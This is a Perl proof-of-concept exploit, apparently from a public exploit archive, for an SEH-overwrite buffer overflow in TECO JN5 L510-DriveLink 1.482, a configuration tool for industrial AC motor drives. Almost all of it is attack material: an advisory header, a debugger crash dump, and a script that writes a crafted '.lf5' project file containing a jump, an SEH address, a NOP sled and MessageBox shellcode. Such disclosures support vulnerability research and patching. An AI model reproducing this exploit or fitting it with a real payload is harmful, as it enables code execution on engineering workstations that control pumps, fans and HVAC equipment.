TECO JN5 L510-DriveLink 1.482 – ‘.lf5’ Overwrite Buffer Overflow (SEH)
#!/usr/bin/perl # # # TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit # # # Vendor: TECO Electric and Machinery Co., Ltd. # Product web page: http://www.teco-group.eu # Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9 # Affected version: 1.482 and 1.462 # # Summary: JN5 DriveLink is a free program that enables you to # configure the AC Motor Drive, 510 Series PC-Link. It provides # support for sleep and fire modes favourable for pumps, fans, # compressors, and HVAC and communication network protocol of # Modbus/ BACnet/ Metasys N2. # # Desc: The vulnerability is caused due to a boundary error in the # processing of a project file, which can be exploited to cause a # buffer overflow when a user opens e.g. a specially crafted .LF5 file. # Successful exploitation could allow execution of arbitrary code on # the affected machine. # # --------------------------------------------------------------------------------- # (14c0.12ec): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MFC42.DLL - # *** WARNING: Unable to verify checksum for C:\Program Files (x86)\TECO\JN5 DriveLink\L510-DriveLink\L510-DriveLink.exe # *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\TECO\JN5 DriveLink\L510-DriveLink\L510-DriveLink.exe # eax=000026a0 ebx=0018f430 ecx=41414141 edx=00000001 esi=0018f408 edi=ffffd961 # eip=70735d7e esp=0018f350 ebp=0018f364 iopl=0 nv up ei ng nz na po nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210282 # MFC42!Ordinal2740+0xaa: # 70735d7e 8b01 mov eax,dword ptr [ecx] ds:002b:41414141=???????? # 0:000> !exchain # 0018f3e4: 41414141 # Invalid exception stack at 41414141 # --------------------------------------------------------------------------------- # # Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit # Microsoft Windows 7 Ultimate SP1 (EN) 64bit # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2015-5279 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5279.php # # # 09.10.2015] # my $header = "\x04\x00\x00\x00\x0A\x00\x00\x00\x4C\x35\x31\x30\x2D\x31". "\x50\x32\x2D\x48\x0E\x00\x00\x00\x14\x00\x00\x00\x01\x00"; # 113 bytes MessageBox shellcode my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42". "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03". "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b". "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e". "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c". "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64". "\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe". "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; my $buffer = "A" x 43 . "\xEB\x06\x90\x90" . "\xB0\x5D\x40\x00" . "\x90" x 16 . $sc . "\x90" x 20 . "D" x 2627; my $file = "Gaming Nerdz.lf5"; my $junk = $header.$buffer; open($FILE,">$file"); print $FILE "$junk"; close($FILE); print "Malicious LF5 file created successfully!\n"; |